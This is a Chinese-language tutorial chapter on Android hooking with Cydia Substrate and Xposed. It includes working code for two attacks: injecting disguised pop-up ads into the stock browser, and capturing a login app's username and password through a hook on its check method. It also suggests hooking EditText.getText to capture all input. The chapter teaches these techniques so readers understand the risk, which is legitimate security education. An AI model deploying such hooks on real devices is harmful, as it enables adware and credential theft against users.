我們介紹過Cydiasubstrate框架提供在Java層Hook的能力,其中主要是提供了三個比較重要的方法,
* MS.hookClassLoad
* MS.hookMethod
* MS.moveUnderClassLoader。
三個方法的具體介紹如下圖1 所示

~~~
/** Hook一個指定的Class
*
* @paramname Class的包名+類名,如android.content.res.Resources
* @paramhook 成功Hook一個Class后的回調
*/
void hookClassLoad(String name, MS.ClassLoadHook hook);
/**
* Hook一個指定的方法,并替換方法中的代碼
*
* @param_class Hook的calss
* @parammember Hook class的方法參數
* @paramhook 成功Hook方法后的回調
* @paramold Hook前方法,類似C中的方法指針
*/
void hookMethod(Class _class, Member member, MS.MethodHook hook, MS.MethodPointer old);
/**
* Hook一個指定的方法,并替換方法中的代碼
*
* @param_class Hook的calss
* @parammember Hook class的方法參數
* @paramalteration
*/
void hookMethod(Class _class, Member member, MS.MethodAlteration alteration);
/**
* 使用一個ClassLoader重載一個對象
*
* @paramloader 使用的ClassLoader
* @paramobject 待重載的對象
* @return重載后的對象
*/
<T>TmoveUnderClassLoader(ClassLoader loader, T object);
~~~
#### **嘗試Hook系統API**
**實戰**:如我們希望Hook Android系統中的Resources類,并將系統中的顏色都改為紫羅蘭色。思路很簡單,我們只需要拿到系統中Resources類的getColor方法,將其返回值做修改即可。
使用substrate來實現分為以下幾步。
**1. 在AndroidManifest.xml文件中配置主入口**
需要在AndroidManifest.xml中聲明cydia.permission.SUBSTRATE權限,聲明substrate的主入口。具體代碼如下所示
~~~
<!-- 加入substrate權限 -->
<uses-permission android:name="cydia.permission.SUBSTRATE" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<!-- 聲明substrate的注入口味Main類 -->
<meta-data
android:name="com.saurik.substrate.main"
android:value=".Main" />
</application>
~~~
**2.新創建主入口Main.Java類**
上一步中已經聲明了主入口為Main類,所以我們需要在對應的目錄下新建一個Main類,且需要實現其initialize方法。具體實現如下:
~~~
public class {
/**
* substrate 初始化后的入口
*/
static void initialize() {
}
}
~~~
**3.Hook系統的Resources,Hook其getColor方法,修改為紫羅蘭**
使用MS.hookClassLoad方法Hook系統的Resources類,并使用MS.hookMethod方法hook其getColor方法,替換其方法。具體實現如下所示。
~~~
import Java.lang.reflect.Method;
import com.saurik.substrate.MS;
public class {
/**
* substrate 初始化后的入口
*/
static void initialize() {
// hook 系統的 Resources類
MS.hookClassLoad("android.content.res.Resources", newMS.ClassLoadHook() {
// 成功hook resources類
public void classLoaded(Class<?> resources) {
// 獲取 Resources類中的 getColor方法
Method getColor;
try{
getColor = resources.getMethod("getColor", Integer.TYPE);
} catch(NoSuchMethodException e) {
getColor = null;
}
if(getColor != null) {
// Hook前的原方法
final MS.MethodPointer old = newMS.MethodPointer();
// hook Resources類中的getColor方法
MS.hookMethod(resources, getColor, newMS.MethodHook() {
public Object invoked(Object resources, Object...args) throws Throwable {
intcolor = (Integer) old.invoke(resources, args);
// 將所有綠色修改成了紫羅蘭色
return color & ~0x0000ff00 | 0x00ff0000;
}
}, old);
}
}
});
}
}
~~~
**4.安裝、重啟、驗證**
因為我們的應用是沒有Activity,只存在substrate的,所以安裝后substrate就會自動地執行了。重啟后,我們打開瀏覽器引用,發現顏色已經改變了,如圖8-11所示。

閱讀了本例之后,讀者們是不是發現使用了CydiaSubstrate框架后我們Hook系統中的一些Java API并不是什么難事?上面的例子我們只是簡單地修改了Resources中的getColor方法,并沒有涉及到系統與應用的安全。但是,如果開發者直接Hook系統安全方面比較敏感的方法,如TelephonyManager 類中getDeviceId方法、短信相關的方法或一些關鍵的系統服務中的方法,那么后果是不堪想象的。
#### **Hook指定應用注入廣告**
從上面的例子我們可以看出來,使用Cydiasubstrate框架我們能夠任意地Hook系統中的Java API,當然其中也用到了很多的反射機制,那么除了系統中給開發者提供的API以外,我們能否也Hook應用程序中的一些方法呢?答案是肯定的。下面我們就以一個實際的例子講解一下如何Hook一個應用程序。
下面我們針對Android操作系統的瀏覽器應用,Hook其首頁Activity的onCreate方法(其他方法不一定存在,但是onCreate方法一定會有),并在其中注入我們的廣告。根據上面對Cydiasubstrate的介紹,我們有了一個簡單的思路。
首先,我們根據某廣告平臺的規定,在我們的AndroidManifest.xml文件中填入一些廣告相關的ID,并且在AndroidManifest.xml文件中填寫一些使用Cydiasubstrate相關的配置與權限。當然,我們還會聲明一個廣告的Activity,并設置此Activity為背景透明的Activity,為什么設置為透明背景的Activity,原理如圖8-12所示。
:-: 
其AndroidManifest.xml文件的部分內容如下所示
~~~
<!-- 廣告相關的權限 -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.GET_TASKS" />
<!-- 加入substrate權限 -->
<uses-permission android:name="cydia.permission.SUBSTRATE" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<!-- 廣告相關參數 -->
<meta-data
android:name="App_ID"
android:value="c62bd976138fa4f2ec853bb408bb38af" />
<meta-data
android:name="App_PID"
android:value="DEFAULT" />
<!-- 聲明substrate的注入口為Main類 -->
<meta-data
android:name="com.saurik.substrate.main"
android:value="com.example.hookad.Main" />
<!-- 透明無動畫的廣告Activity -->
<activity
android:name="com.example.hookad.MainActivity"
android:theme="@android:style/Theme.Translucent.NoTitleBar" >
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<!-- 廣告的action -->
<action android:name="com.example.hook.AD" />
</intent-filter>
</activity>
</application>
~~~
對于Cydiasubstrate的主入口Main類,依照之前的步驟新建一個包含有initialize方法的Main類。這個時候我們希望使用MS.hookClassLoad方式找到瀏覽器主頁的Activity名稱,這里我們在adb shell下使用dumpsys activity命令找到瀏覽器主頁的Activity名稱為com.android.browser.BrowserActivity,如圖8-13所示
:-: 
使用MS.hookClassLoad方法獲取了BrowserActivity之后再hook其onCreate方法,在其中啟動一個含有廣告的Activity。Main類的代碼如下所示。
~~~
public class {
/**
* substrate 初始化后的入口
*/
static void initialize() {
//Hook 瀏覽器的主Activity,BrowserActivity
MS.hookClassLoad("com.android.browser.BrowserActivity", new MS.ClassLoadHook() {
public void class Loaded(Class<?> resources) {
Log.e("test", "com.android.browser.BrowserActivity");
// 獲取BrowserActivity的onCreate方法
Method onCreate;
try{
onCreate = resources.getMethod("onCreate", Bundle.class);
} catch(NoSuchMethodException e) {
onCreate = null;
}
if(onCreate != null) {
final MS.MethodPointer old = newMS.MethodPointer();
// hook onCreate方法
MS.hookMethod(resources, onCreate, new MS.MethodHook() {
public Object invoked(Object object, Object...args) throws Throwable {
Log.e("test", "show ad");
// 執行Hook前的onCreate方法,保證瀏覽器正常啟動
Object result = old.invoke(object, args);
// 沒有Context
//執行一個shell啟動我們的廣告Activity
CMD.run("am start -a com.example.hook.AD");
return result;
}
}, old);
}
}
});
}
}
~~~
對于啟動的廣告MainActivity,在其中會彈出一個插屏廣告,當然也可以是其他形式的廣告或者浮層,內容比較簡單這里不做演示了。對整個項目進行編譯,運行。這個時候我們重新啟動Android自帶的瀏覽器的時候發現,瀏覽器會彈出一個廣告彈框,如圖下圖8-14所示。
:-: 
從上面的圖片我們可以看出來了,之前我們設置插屏廣告MainActivity為無標題透明(**Theme.Translucent.NoTitleBar**)就是為了使彈出來的廣告與瀏覽器融為一體,讓用戶感覺是瀏覽器彈出的廣告。這也是惡意廣告程序為了防止自身被卸載掉的一些通用隱藏手段。
這里演示的注入廣告是通過Hook指定的Activity中的onCreate方法來啟動一個廣告Activity的。當然,這里我們演示的Activity只是簡單地彈出了一個廣告。如果啟動的Activity帶有惡意性,如將Activity做成與原Activity一模一樣的釣魚Activity,那么對于移動設備用戶來說是極具欺騙性的。
#### **App登錄劫持**
看了上面的兩個Hook例子,很多讀者應該都能夠了解了Hook所帶來的巨大危害性,特別是針對一些有目的性的Hook。例如我們常見的登錄劫持,就是使用到了Hook技術來完成的。那么這個登錄劫持是如何完成的呢?下面我們就具體來看看,一個我們在開發中常見到的登錄例子。首先我們看看一個常見的登錄界面是什么樣子的,圖8-15所示是一個常見的登錄頁面。
:-: 
其對應的登錄流程代碼如下所示。
~~~
// 登錄按鈕的onClick事件
mLoginButton.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// 獲取用戶名
String username = mUserEditText.getText() + "";
//獲取密碼
String password = mPasswordEditText.getText() + "";
if(isCorrectInfo(username, password)) {
Toast.makeText(MainActivity.this, "登錄成功!", Toast.LENGTH_LONG).show();
} else{
Toast.makeText(MainActivity.this, "登錄失敗!", Toast.LENGTH_LONG).show();
}
}
});
~~~
我們會發現,登錄界面上面的用戶信息都存儲在EditText控件上,然后通過用戶手動點擊“登錄”按鈕才會將上面的信息發送至服務器端去驗證賬號與密碼是否正確。這樣就很簡單了,黑客們只需要找到開發者在使用EditText控件的getText方法后進行網絡驗證的方法,Hook該方法,就能劫持到用戶的賬戶與密碼了。具體流程如圖8-16所示。
:-: 
>[info] 當然,我們也可以仿照上一個例子,做一個一模一樣的Activity,再劫持原Activity優先彈出來,達到欺騙用戶獲取密碼的目的。
明白了原理下面我們就實際地操作一次,這里我們選擇使用Xposed框架來操作。使用Xposed進行Hook操作主要就是使用到了Xposed中的兩個比較重要的方法,handleLoadPackage獲取包加載時的回調并拿到其對應的classLoader,findAndHookMethod對指定類的方法進行Hook。它們的詳細定義如下所示。
~~~
/**
* 包加載時的回調
*/
public void handleLoadPackage(final LoadPackageParam lpparam)
/**
* Xposed提供的Hook方法
*
* @paramclassName 待Hook的Class
* @paramclassLoader classLoader
* @parammethodName 待Hook的Method
* @paramparameterTypesAndCallback hook回調
* @return
*/
~~~
Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback)
當然,我們使用Xposed進行Hook也分為如下幾個步驟。
**1.在AndroidManifest.xml文件中配置插件名稱與Api版本號**
~~~
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<meta-data
android:name="xposedmodule"
android:value="true" />
<!-- 模塊描述 -->
<meta-data
android:name="xposeddescription"
android:value="一個登錄劫持的樣例" />
<!-- 最低版本號 -->
<meta-data
android:name="xposedminversion"
android:value="30" />
</application>
~~~
**2.新創建一個入口類繼承并實現IXposedHookLoadPackage接口**
如下操作,我們新建了一個com.example.loginhook.Main的類,并實現IXposedHookLoadPackage接口中的handleLoadPackage方法,將非com.example.login包名的應用過濾掉,即我們只操作包名為com.example.login的應用,如下所示。
~~~
public class Main implements IXposedHookLoadPackage {
/**
* 包加載時的回調
*/
public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {
// 將包名不是 com.example.login 的應用剔除掉
if(!lpparam.packageName.equals("com.example.login"))
return;
XposedBridge.log("Loaded app: " + lpparam.packageName);
}
}
~~~
**3.聲明主入口路徑**
需要在assets文件夾中新建一個xposed_init文件,并在其中聲明主入口類。如這里我們的主入口類為com.example.loginhook.Main,查看其內容截圖如圖8-17所示。
:-: 
**4.使用findAndHookMethod方法Hook劫持登錄信息**
這是最重要的一步,我們之前所分析的都需要到這一步進行操作。如我們之前所分析的登錄程序,我們需要劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法。我們使用Xposed提供的findAndHookMethod直接進行MethodHook操作(與Cydia很類似)。在其Hook回調中使用XposedBridge.log方法,將登錄的賬號密碼信息打印至Xposed的日志中。具體操作如下所示。
~~~
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
public class Main implements IXposedHookLoadPackage {
/**
* 包加載時候的回調
*/
public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {
// 將包名不是 com.example.login 的應用剔除掉
if (!lpparam.packageName.equals("com.example.login"))
return;
XposedBridge.log("Loaded app: " + lpparam.packageName);
// Hook MainActivity中的isCorrectInfo(String,String)方法
findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,
String.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
XposedBridge.log("開始劫持了~");
XposedBridge.log("參數1 = " + param.args[0]);
XposedBridge.log("參數2 = " + param.args[1]);
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
XposedBridge.log("劫持結束了~");
XposedBridge.log("參數1 = " + param.args[0]);
XposedBridge.log("參數2 = " + param.args[1]);
}
});
}
}
~~~
**5.在XposedInstaller中啟動我們自定義的模塊**
編譯后安裝在Android設備上的模塊應用程序不會立即生效,我們需要在XpasedInstaller模塊選項中勾選待啟用的模塊才能讓其正常地生效,如圖8-18所示。
:-: 
**6.重啟驗證**
重啟Android設備,進入XposedInstaller查看日志模塊,因為我們之前使用的是XposedBridge.log方法打印log,所以log都會顯示在此處。如圖8-19所示,我們發現我們需要劫持的賬號密碼都顯示在此處。
:-: 
>[info] 這里我們是通過逆向分析該登錄頁面的登錄判斷調用函數來完成Hook與劫持工作的。有些讀者應該想出來了,我們能不能直接對系統中提供給我們的控件EditText(輸入框控件)中的getText()方法進行Hook呢?這樣我們就能夠對系統中所有的輸入進行監控劫持了。這里留給大家一個思考,感興趣的讀者可以嘗試一下。
#### **參考文章:**
[《Android安全技術揭秘與防范》—第8章8.3節HookAndroid應用](https://yq.aliyun.com/articles/99846?spm=5176.100239.blogcont99909.20.6fd616147MOkdC)
[Android Hook神器——XPosed入門(登陸劫持演示)](http://blog.csdn.net/yzzst/article/details/47659479)
- 前言
- Android系統的體系結構
- Dalvik VM 和 JVM 的比較
- Android 打包應用程序并安裝的過程
- Android ADB工具
- Android應用開發
- Android UI相關知識總結
- Android 中window 、view、 Activity的關系
- Android應用界面
- Android中的drawable和bitmap
- AndroidUI組件adapterView及其子類和Adapter的關系
- Android四大組件
- Android 數據存儲
- SharedPreference
- Android應用的資源
- 數組資源
- 使用Drawable資源
- Material Design
- Android 進程和線程
- 進程
- 線程
- Android Application類的介紹
- 意圖(Intent)
- Intent 和 Intent 過濾器(Google官網介紹)
- Android中關于任務棧的總結
- 任務和返回棧(官網譯文)
- 總結
- Android應用安全現狀與解決方案
- Android 安全開發
- HTTPS
- 安卓 代碼混淆與打包
- 動態注入技術(hook技術)
- 一、什么是hook技術
- 二、常用的Hook 工具
- Xposed源碼剖析——概述
- Xposed源碼剖析——app_process作用詳解
- Xposed源碼剖析——Xposed初始化
- Xposed源碼剖析——hook具體實現
- 無需Root也能Hook?——Depoxsed框架演示
- 三、HookAndroid應用
- 四、Hook原生應用程序
- 五、Hook 檢測/修復
- Android 應用的逆向與加固保護技術
- OpenCV在Android中的開發
- Android高級開發進階
- 高級UI
- UI繪制流程及原理
- Android新布局ConstraintLayout約束布局
- 關鍵幀動畫
- 幀動畫共享元素變換
- Android異步消息處理機制完全解析,帶你從源碼的角度徹底理解
- Android中為什么主線程不會因為Looper.loop()里的死循環卡死?
- 為什么 Android 要采用 Binder 作為 IPC 機制?
- JVM 中一個線程的 Java 棧和寄存器中分別放的是什么?
- Android源碼的Binder權限是如何控制?
- 如何詳解 Activity 的生命周期?
- 為什么Android的Handler采用管道而不使用Binder?
- ThreadLocal,你真的懂了嗎?
- Android屏幕刷新機制